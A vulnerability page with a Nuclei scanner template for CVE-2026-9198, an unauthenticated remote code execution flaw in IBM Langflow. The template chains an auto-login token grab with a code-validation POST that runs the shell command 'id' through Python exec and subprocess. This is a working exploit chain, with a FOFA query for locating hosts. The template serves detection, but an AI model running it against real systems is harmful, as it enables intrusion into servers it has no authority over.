IBM Langflow - Remote Code Execution
CVE-2026-9198
Verified
Description
IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
Severity
Critical
CVSS Score
9.8
Exploit Probability
17%
Affected Product
langflow
Published Date
July 24, 2026
Template Author
yeswehack
CVE-2026-9198.yaml
id: CVE-2026-9198
info:
name: IBM Langflow - Remote Code Execution
author: YesWeHack
severity: critical
description: |
IBM Langflow OSS 1.0.0 through 1.10.0 contains a remote code execution caused by chaining /api/v1/auto_login and /api/v1/validate/code endpoints, letting unauthenticated attackers execute arbitrary code remotely, exploit requires no authentication.
impact: |
Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise.
remediation: |
Update to the latest version beyond 1.10.0.
reference:
- https://www.ibm.com/support/pages/node/7278927
- https://github.com/ywh-jfellus/CVE-2026-9198
- https://github.com/0xdak/CVE-2026-9198_exploit
- https://nvd.nist.gov/vuln/detail/CVE-2026-9198
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-9198
epss-score: 0.17053
epss-percentile: 0.96777
cwe-id: CWE-94
metadata:
verified: true
max-request: 2
vendor: ibm
product: langflow
fofa-query: title="Langflow" || body="langflow"
tags: cve,cve2026,langflow,ibm,rce,auth-bypass,vuln,kev,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/auto_login"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "access_token", "refresh_token")'
- 'status_code == 200'
condition: and
internal: true
extractors:
- type: json
name: token
json:
- ".access_token"
internal: true
- raw:
- |
POST /api/v1/validate/code HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{"code": "def _nuclei_scan(_=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True, stderr=__import__(\"subprocess\").STDOUT).decode())')):\n pass"}
matchers:
- type: dsl
dsl:
- 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
- 'status_code == 200'
condition: and
# digest: 4a0a004730450221008f21528ede0e32863434a2fa643bbbf93224e7f9d1bfe444f1d914b673bb709902205a7eb81ab0f3a73acd03650450ca726e7d027c75c43b03fd8879e6f2d0ab0d60:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-9198
CWE ID:
cwe-94
Remediation Steps
Update to the latest version beyond 1.10.0.